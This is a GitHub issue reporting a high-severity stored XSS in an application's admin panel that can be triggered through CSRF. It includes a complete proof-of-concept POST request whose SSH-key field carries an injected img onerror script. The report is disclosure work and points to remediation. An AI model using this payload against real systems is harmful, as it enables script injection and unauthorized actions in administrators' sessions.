Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Stored XSS in admin panel triggerable by CSRF #273

Open
ahpaleus opened this issue Sep 19, 2023 · 0 comments
Open

Stored XSS in admin panel triggerable by CSRF #273

ahpaleus opened this issue Sep 19, 2023 · 0 comments
Assignees
Labels

Comments

@ahpaleus
Copy link

ahpaleus commented Sep 19, 2023

Severity: High

The admin panel of the application is vulnerable to a stored Cross-Site Scripting (XSS) attack, which can be triggered using Cross-Site Request Forgery (CSRF). This vulnerability allows an attacker to inject malicious code into the application and execute it within the context of authenticated users accessing the affected page.

By including a crafted key1 value in the HTTP POST request, an attacker can insert arbitrary JavaScript code into the application. The payload provided in the example request demonstrates an XSS attack by injecting a malicious image tag that executes a JavaScript alert function with the document.domain parameter:

POST /settings/sshkeys/add HTTP/1.1
Host: localhost:8082
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 520
Origin: http://localhost:8082
Connection: close
Referer: http://localhost:8082/settings/sshkeys/add
Cookie: AUTHP_SESSION_ID=VxOOV1Fa24QR5Ka8DOdsiUiJJ4TwLrAceRxln4; access_token=abcd
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
DNT: 1
Sec-GPC: 1

key1=ssh-rsa+pub_key_rsaFi9wrf%2BM7Q%3D%3D+%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&comment1=&submit=

image

To remediate these vulnerabilities, see #264, additionally implement CSRF protection mechanisms to mitigate the risk of CSRF attacks.

@greenpau greenpau self-assigned this Dec 2, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants